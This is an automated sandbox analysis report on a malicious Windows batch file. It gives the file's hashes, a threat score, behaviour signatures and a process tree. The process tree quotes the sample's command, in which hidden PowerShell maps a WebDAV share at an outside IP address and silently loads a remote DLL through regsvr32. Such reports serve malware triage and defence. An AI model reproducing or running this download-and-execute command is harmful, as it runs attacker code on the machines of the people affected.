Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    20/07/2024, 22:23

General

  • Target

    261463194548020265.bat

  • Size

    16KB

  • MD5

    0b84678193f96f2090de54dcb8873cd2

  • SHA1

    361c1f8bd67b4637344b9d9be78dd9057731f97e

  • SHA256

    526d3423b43a9571ccb1516090bccc5c69ea8ce96200c19a1dd54808067efb63

  • SHA512

    c4784f3508a344da79ef672c734b5a55941a47e8c786795262453d5ccfa47d6cae6a344389de63b9c081308f778de47b7b6daa5d3e78dae99e2694a04a2aa6d3

  • SSDEEP

    384:094Z75OcyuEY2O3tbMh9RlmRsTo0SVJ9wzMh4eAE:w4hRibwT9uq4eAE

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\261463194548020265.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\271491529015510.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1700
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2920
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\271491529015510.dll
          3⤵
            PID:2108

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1700-23-0x000000001B8C0000-0x000000001BBA2000-memory.dmp

        Filesize

        2.9MB

      • memory/1700-24-0x0000000002240000-0x0000000002248000-memory.dmp

        Filesize

        32KB